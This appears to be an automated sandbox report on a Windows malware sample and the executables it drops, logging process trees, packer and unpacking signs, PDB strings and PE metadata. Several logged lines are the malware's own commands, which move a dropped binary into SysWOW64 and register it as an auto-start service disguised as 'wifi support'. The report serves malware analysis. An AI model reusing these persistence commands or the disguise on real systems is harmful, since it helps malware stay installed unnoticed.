Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\gebcmxiz\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: C:\Users\user\AppData\Local\Temp\B217.exe C:\Users\user\AppData\Local\Temp\B217.exe
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Process created: C:\Users\user\Desktop\ZA3cYU28Yl.exe "C:\Users\user\Desktop\ZA3cYU28Yl.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9460.exe C:\Users\user\AppData\Local\Temp\9460.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A019.exe C:\Users\user\AppData\Local\Temp\A019.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9779.exe C:\Users\user\AppData\Local\Temp\9779.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A881.exe C:\Users\user\AppData\Local\Temp\A881.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B217.exe C:\Users\user\AppData\Local\Temp\B217.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rcvfbte	Process created: C:\Users\user\AppData\Roaming\rcvfbte C:\Users\user\AppData\Roaming\rcvfbte	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Process created: C:\Users\user\AppData\Local\Temp\A019.exe C:\Users\user\AppData\Local\Temp\A019.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 520	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: C:\Users\user\AppData\Local\Temp\B217.exe C:\Users\user\AppData\Local\Temp\B217.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\9460.tmp

Jump to behavior

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_00419905 SetLastError,GetConsoleCursorInfo,GetProfileStringA,WriteProfileSectionW,GetProfileStringW,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryW,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeap,WritePrivateProfileStringW,SetPriorityClass,

1_2_00419905

Source: C:\Users\user\AppData\Local\Temp\B217.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4588:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6868:64:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1244:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6608
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_01

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: 0.0	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: hijaduvinijebup	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: mocisacatenu	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: wapejan	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: wovag	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: cbH	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: Piruvora	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: gukafipa	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: mawecamaxe	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: Hiwejanoji	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: Pusazide	1_2_00419B62
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Command line argument: hukujid	1_2_00419B62
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Command line argument: cbH	26_2_00419E82
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Command line argument: cbH	26_2_00419E82

Source: B217.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: B217.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 969F.exe.10.dr, Univesity_Grade_Calculator/Form1.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.0.B217.exe.a90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.2.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 27.2.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\9460.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: ZA3cYU28Yl.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ZA3cYU28Yl.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ZA3cYU28Yl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000015.00000003.395354648.0000000004A9A000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395547115.0000000000A97000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000015.00000003.397528255.0000000000A91000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395537078.0000000000A91000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb) source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: $C:\sujabofu\kusaximenoki-xade\belowupo.pdbh source: A881.exe, 0000001A.00000000.401560008.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: fltLib.pdb; source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000015.00000003.397528255.0000000000A91000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.395537078.0000000000A91000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: dC:\mezakidujawu dukopigowoyiy56\feno_coje.pdbh source: ZA3cYU28Yl.exe, 00000001.00000000.277973193.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000003.00000000.280952997.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000000.366754687.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000002.372555425.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000F.00000000.370964910.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000000.383419511.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000002.395793668.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000014.00000000.392777524.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9460.exe, 00000010.00000000.377618773.0000000000413000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385010762.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.432733171.0000000000D60000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: r*;\C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdbh source: 9779.exe, 00000016.00000000.394084565.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdbq source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: C:\xazunilula6\leziwobamer-mugudarecemas_gure.pdb source: 9779.exe, 00000016.00000000.394084565.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\sujabofu\kusaximenoki-xade\belowupo.pdb source: A881.exe, 0000001A.00000000.401560008.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: C:\mezakidujawu dukopigowoyiy56\feno_coje.pdb source: ZA3cYU28Yl.exe, ZA3cYU28Yl.exe, 00000001.00000000.277973193.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000003.00000000.280952997.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000000.366754687.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000002.372555425.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000F.00000000.370964910.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000000.383419511.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000002.395793668.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000014.00000000.392777524.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbk source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000015.00000003.395547115.0000000000A97000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9460.exe, 00000010.00000000.377618773.0000000000413000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385010762.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.432733171.0000000000D60000.00000002.00020000.sdmp
Source:	Binary string: cfgmgr32.pdb= source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Unpacked PE file: 22.2.9779.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Unpacked PE file: 26.2.A881.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\9779.exe	Unpacked PE file: 22.2.9779.exe.400000.0.unpack .text:ER;.data:W;.zic:W;.wuvuhus:W;.jufot:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Unpacked PE file: 26.2.A881.exe.400000.0.unpack .text:ER;.data:W;.mekafe:W;.tuxu:W;.hawoz:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains potential unpacker

Show sources

Source: 3657.exe.10.dr, CoreApi.cs	.Net Code: Start System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 969F.exe.10.dr, Univesity_Grade_Calculator/Form1.cs	.Net Code: Form1_Load System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: B217.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.B217.exe.a90000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.B217.exe.a90000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.2.B217.exe.a90000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 27.0.B217.exe.a90000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 42.0.B217.exe.1b0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 42.0.B217.exe.1b0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 42.0.B217.exe.1b0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_004092EC push esp; ret	1_2_004092ED
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00573634 push es; iretd	1_2_00573640
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00401880 push esi; iretd	3_2_00401893
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402E94 push es; iretd	3_2_00402EA0
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402E94 push es; iretd	3_1_00402EA0
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00401880 push esi; iretd	15_2_00401893
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402E94 push es; iretd	15_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00412CA4 push eax; ret	16_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0047127E push edi; iretd	16_2_004712AA
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0047123C push edi; iretd	16_2_004712AA
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0047735E push esp; iretd	16_2_0047735F
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004753C8 pushfd ; retf	16_2_004753D3
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 17_2_006C3634 push es; iretd	17_2_006C3640
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00401880 push esi; iretd	20_2_00401893
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402E94 push es; iretd	20_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402E94 push es; iretd	20_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_0041A66D push eax; ret	22_2_0041A67D
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004139B0 push eax; ret	22_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_0088D603 pushfd ; ret	22_2_0088D72F
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00888A20 push eax; ret	22_2_00888A21
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00888988 push eax; ret	22_2_00888989
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_008889B4 push eax; ret	22_2_008889B5
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_0088D5D1 pushfd ; ret	22_2_0088D72F
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_008889F4 push ebx; retf	22_2_00888A0D
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00889F1B push ebx; ret	22_2_00889F1C
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00888978 push eax; ret	22_2_00888979
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_0088CB70 pushad ; ret	22_2_0088CB71
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_0043DF53 push esi; retn 0042h	26_2_0043DF55
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_00A98508 push 00000028h; retf 0000h	27_2_00A9850D
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_00A9764A push esp; ret	27_2_00A9764B
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_05284003 push esi; retf	27_2_0528400F

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Code function: 1_2_0042D560 LoadLibraryW,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

1_2_0042D560

Source: 3657.exe.10.dr

Static PE information: 0x964C769C [Sat Nov 27 02:38:20 2049 UTC]

Source: ZA3cYU28Yl.exe	Static PE information: section name: .wumened
Source: ZA3cYU28Yl.exe	Static PE information: section name: .kilohe
Source: ZA3cYU28Yl.exe	Static PE information: section name: .putohox
Source: 2EE4.exe.10.dr	Static PE information: section name: _RDATA
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name: .28gybOo
Source: 41A3.exe.10.dr	Static PE information: section name: .adata
Source: A019.exe.10.dr	Static PE information: section name: .wumened
Source: A019.exe.10.dr	Static PE information: section name: .kilohe
Source: A019.exe.10.dr	Static PE information: section name: .putohox
Source: 9779.exe.10.dr	Static PE information: section name: .zic
Source: 9779.exe.10.dr	Static PE information: section name: .wuvuhus
Source: 9779.exe.10.dr	Static PE information: section name: .jufot
Source: A881.exe.10.dr	Static PE information: section name: .mekafe
Source: A881.exe.10.dr	Static PE information: section name: .tuxu
Source: A881.exe.10.dr	Static PE information: section name: .hawoz
Source: 50E7.exe.10.dr	Static PE information: section name: .didata
Source: 72B9.exe.10.dr	Static PE information: section name: _RDATA
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name: .2pZFPAB
Source: 7F9A.exe.10.dr	Static PE information: section name: .adata
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name: .kujN2o2
Source: 8ECE.exe.10.dr	Static PE information: section name: .adata
Source: rcvfbte.10.dr	Static PE information: section name: .wumened
Source: rcvfbte.10.dr	Static PE information: section name: .kilohe
Source: rcvfbte.10.dr	Static PE information: section name: .putohox
Source: lnagngtg.exe.26.dr	Static PE information: section name: .mekafe
Source: lnagngtg.exe.26.dr	Static PE information: section name: .tuxu
Source: lnagngtg.exe.26.dr	Static PE information: section name: .hawoz

Source: initial sample

Static PE information: section where entry point is pointing to: .didata

Source: 3657.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x1298c
Source: 41A3.exe.10.dr	Static PE information: real checksum: 0x3721bb should be: 0x373654
Source: B217.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 8ECE.exe.10.dr	Static PE information: real checksum: 0x373823 should be: 0x3738f9
Source: 7F9A.exe.10.dr	Static PE information: real checksum: 0x36d1e8 should be: 0x37985e

Source: initial sample	Static PE information: section name: .text entropy: 6.95926809019
Source: initial sample	Static PE information: section name: entropy: 7.99714766582
Source: initial sample	Static PE information: section name: entropy: 7.90784224501
